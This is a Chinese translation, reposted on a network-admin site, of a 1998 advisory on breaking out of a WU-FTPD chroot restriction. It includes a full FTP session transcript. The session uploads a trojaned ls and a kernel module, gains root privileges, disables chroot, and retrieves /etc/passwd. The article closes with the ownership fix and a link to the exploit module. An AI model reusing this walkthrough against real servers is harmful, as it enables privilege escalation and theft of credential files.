网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > 加密解密 > 突破FTP中的限制  

突破FTP中的限制

2004-04-10  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,
并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译
了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,
所以并不一定对现在最新的系统适用。------------了解思路吗!!!

下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户
目录下使用/bin/ls存在潜在的漏洞。

当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新
的用户就变成了他用户目录的属主,如:

drwx------ 2 user users1024 Jun 21 11:26 /home/user/

问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在
在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 .

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。

/lib, /usr/lib: 一些需要的库文件。

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属
给超级用户。 网管论坛bbs_bitsCN_com

问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。
这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x 6 user users1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此
用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,
注意,这个ls一般是受限用户下的/bin/ls程序。

我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务
程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了
重新获得超级用户的权利,但使用setuid()来操作是不可能的。

不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()
是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分, 网管联盟bitsCN_com
而且不能超越这个限制。

如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过
的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)
并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

所以下面描述摆脱chroot()的限制:

就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后
的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程
的话我们仍然限制于chroot().

ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能
是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个
继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并
修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
中国网管联盟bitsCN.com

Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了
chroot()到用户的home 目录:

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users1024 Jun 21 11:26 .
drwxr-xr-x 5 user users1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users1024 Jun 21 11:26 .
drwxr-xr-x 5 user users1024 Jun 21 21:26 ..
网管u家u.bitscn@com

d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users1024 Jun 21 11:26 home
226 Transfer complete.

用户被受限于他的home目录:

ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.

修改ls两进制程序并上载所需文件

ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful

改变文件属性,这样可以来执行刚刚上载的文件。

网管网www_bitscn_com



ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp> bye
221 Goodbye.
thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in.Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x21 root root 1024 Jun 21 11:57 .

网管联盟bitsCN@com


drwxr-xr-x21 root root 1024 Jun 21 11:57 ..
-rw-r--r-- 1 root root118 Apr 21 11:26 .bash_history
drwxr-xr-x 2 root bin2048 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun8 11:26 boot
drwxr-xr-x 2 root root 1024 Oct6 11:26 cdrom
drwxr-xr-x 3 root root21504 Jun 21 15:26 dev
drwxr-xr-x14 root root 3072 Jun 21 15:26 etc
drwxr-xr-x 7 root root 1024 Jun 21 19:26 export
drwxr-xr-x 7 root root 1024 Jun 21 19:26 home
dr-xr-xr-x 5 root root0 Jun 21 14:26 proc
...
-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz
226 Transfer complete.


这时我们可以访问整个文件系统了。


ftp> get /etc/passwd
226 Transfer complete.

ftp> bye
221 Goodbye.
thx:~#

这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,
我们就可以获得更大的权利。
网管u家u.bitsCN.com

最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./
drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../
d--x--x--x 2 root root 1024 Jun 21 11:26 bin/
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/
drwxr-xr-x 2 user users1024 Jun 21 11:26 home/
ilm:~$

更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。


参考:

1,模块代码下载:http://hispahack.ccc.de/wu-guest.tgz
2,wu-ftpd Resource Center --http://www.landfield.com/wu-ftpd/
3,ProFTPD -- http://www.proftpd.org/
4,原文:http://hispahack.ccc.de/en/mi009en.htm

TAGs   限制   突破   root   Jun   目录   drwxr-xr-x   ftp   user      
 上一篇:为OICQ 820添加显示IP地址和端口号的功能!   下一篇:一种可以穿透还原卡和还原软件的代码
突破FTP中的限制 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: